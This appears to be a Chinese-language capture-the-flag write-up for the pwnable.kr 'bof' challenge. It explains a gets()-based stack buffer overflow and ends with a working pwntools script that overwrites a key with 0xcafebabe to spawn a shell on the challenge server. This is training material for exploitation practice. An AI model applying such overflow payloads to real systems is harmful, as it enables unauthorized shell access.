思路
-检查main函数调用了什么
main.png-func函数实现了什么功能
func.png func汇编.png
-如何使key==0xcafebabe,调用system(“/bin/sh”)
做法
-看到调用了gets,使用命令man查看gets函数定义,可知gets是读取一整行的字符直到结束换行
man gets.png
-看到字符s(即数组overflows)的大小为-2CH,因此我们的目的是将44(2C)填满,并且让我们的key也被覆盖,改变为0xcafebabe。
-由汇编的比较我们知道是arg_0与cafebabe比较
cmp.png
-我们可以知道arg_0的位置在+0x8
-因此总的覆盖范围应该从-2CH到+08H,一共52个字节
from pwn import*
pwn= remote("pwnable.kr",9000)
junk="a"*0x2c + "a"*0x4 + "b"*0x4
junk+=p32(0xcafebabe)
pwn.sendline(junk)
pwn.interactive()
网友评论